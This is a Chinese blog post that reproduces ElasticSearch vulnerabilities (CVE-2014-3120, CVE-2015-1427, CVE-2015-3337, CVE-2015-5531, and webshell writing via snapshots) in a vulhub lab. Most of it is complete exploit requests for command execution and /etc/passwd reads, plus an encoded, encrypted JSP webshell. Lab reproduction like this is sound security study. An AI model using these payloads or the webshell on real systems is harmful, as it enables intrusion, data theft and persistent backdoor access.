ElasticSearch漏洞复现集合

白帽子社区

共 6327字,需浏览 13分钟

 ·

2021-02-18 16:14

作者:巧克力威化饼 编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    




简介

ElasticSearch 是一款Java编写的企业级搜索服务,启动此服务默认会开放HTTP-9200端口,如存在相关漏洞,可被攻击者非法操作数据。

基本概念

Elasticsearch是面向文档型数据库,一条数据在这里就是一个文档,用JSON作为文档序列化的格式,比如下面这条用户数据

{    "name" :     "John",    "sex" :      "Male",    "age" :      25,    "birthDate": "1990/05/01",    "about" :    "I love to go rock climbing","interests": [ "sports", "music" ]}



环境搭建

Docker安装 :https://www.runoob.com/docker/centos-docker-install.html
下载vulhub:git clone https://github.com/vulhub/vulhub.git
对靶场进行编译:docker-compose build
运行靶场:docker-compose up -d
关闭镜像:docker-compose down

CVE-2014-3120远程代码执行

原理
老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以攻击者可以直接执行任意代码。

MVEL执行命令的代码如下:


import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();



影响版本

v1.1.1

复现

访问环境


该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据


POST /website/blog/ HTTP/1.1Host: yourip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 25
{ "name": "ceshi"}




然后就可以执行任意代码了

POST /_search?pretty HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 343
{ "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();" } }}



后续反弹shell需要进行编码
编码网址:http://www.jackson-t.ca/runtime-exec-payloads.html


成功得到shell

CVE-2015-1427远程代码执行

原理

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞既是一个沙盒绕过,也是一个Goovy代码执行漏洞。


复现

访问环境

由于查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据:

POST /website/blog/ HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 25
{ "name": "ceshi"}



然后发送包含payload的数据包,执行任意命令。

POST /_search?pretty HTTP/1.1Host: your-ip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/textContent-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}


通过编码得到反弹shell


CVE-2015-3337目录穿越漏洞

原理

在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。


影响版本

1.4.5以下/1.5.2以下


复现

访问环境


head插件提供了elasticsearch的前端页面,访问 http://your-ip:9200/_plugin/head/ 即可看到
该漏洞插件好像已下架,未找到下载地址

POC:
GET /_plugin/head/../../../../../../../../../etc/passwd HTTP/1.1Host: your-ip:9200Accept:*/*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0Connection: close



CVE-2015-5531目录穿越漏洞

原理

此漏洞利用ES的备份功能,快照本应该是文件,但ES没有对快照是否是文件进行验证,遇到目录就递归读取文件的内容从而导致目录遍历。

影响版本

1.6.1以下

复现

访问环境


使用PUT请求,创建一个仓库

PUT /_snapshot/ceshi HTTP/1.1Host: yourip:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 109
{ "type": "fs", "settings": { "location": "/usr/share/elasticsearch/repo/ceshi" }}



使用同样方法创建一个快照

PUT /_snapshot/ceshi2 HTTP/1.1Host: yourIP:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 126
{ "type": "fs", "settings": { "location": "/usr/share/elasticsearch/repo/ceshi/snapshot-backdata" }}


访问http://yourIP:9200/_snapshot/ceshi/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

可通过google控制台将编码值解码
在控制台输入String.fromCharCode(Unicode 数字编码)  // fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串


Elasticsearch写入webshell漏洞(Wooyun-2015-110216)

原理

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。
和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。


影响版本

1.5.x以前


复现

访问环境


开始写入webshell时,首先需要了解网站的绝对路径,创建一个恶意索引文档后,并在终端执行如下命令

curl -XPOST http://ip:9200/yz.jsp/yz.jsp/1 -d'{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'


再创建一个恶意的存储库,其中location的值即为将要写入的路径

curl -XPUT 'http://ip:9200/_snapshot/yz.jsp' -d '{     "type": "fs",     "settings": {          "location": "/usr/local/tomcat/webapps/wwwroot/",          "compress": false     }}'


存储库验证并创建:

curl -XPUT "http://ip:9200/_snapshot/yz.jsp/yz.jsp" -d '{     "indices": "yz.jsp",     "ignore_unavailable": "true",     "include_global_state": false}'


访问http://IP:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp,这就是我们写入的webshell

该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,参数为f,此处的shell要进行部分url编码,不然会连接不成功。
http://192.168.187.136:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=%3c%25%40page+import%3d%22java.util.*%2cjavax.crypto.*%2cjavax.crypto.spec.*%22%25%3e%3c%25!class+U+extends+ClassLoader%7bU(ClassLoader+c)%7bsuper(c)%3b%7dpublic+Class+g(byte+%5b%5db)%7breturn+super.defineClass(b%2c0%2cb.length)%3b%7d%7d%25%3e%3c%25if(request.getParameter(%22pass%22)!%3dnull)%7bString+k%3d(%22%22%2bUUID.randomUUID()).replace(%22-%22%2c%22%22).substring(16)%3bsession.putValue(%22u%22%2ck)%3bout.print(k)%3breturn%3b%7dCipher+c%3dCipher.getInstance(%22AES%22)%3bc.init(2%2cnew+SecretKeySpec((session.getValue(%22u%22)%2b%22%22).getBytes()%2c%22AES%22))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b%25%3e


未授权访问敏感信息

/_cat/_cat/indices/_plugin/head/ web管理界面/_plugin/sql//_nodes   查看节点数据/_river/_search 查看数据库敏感信息/_search/_search?preety/_status




往期精彩文章




2021年“春秋杯”新年欢乐赛WP
BMZCTF刷题集锦
linux下的凭据窃取
jumpserver RCE复现(附带POC)




技术支持:白帽子社区团队
— 扫码关注我们 



浏览 205
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报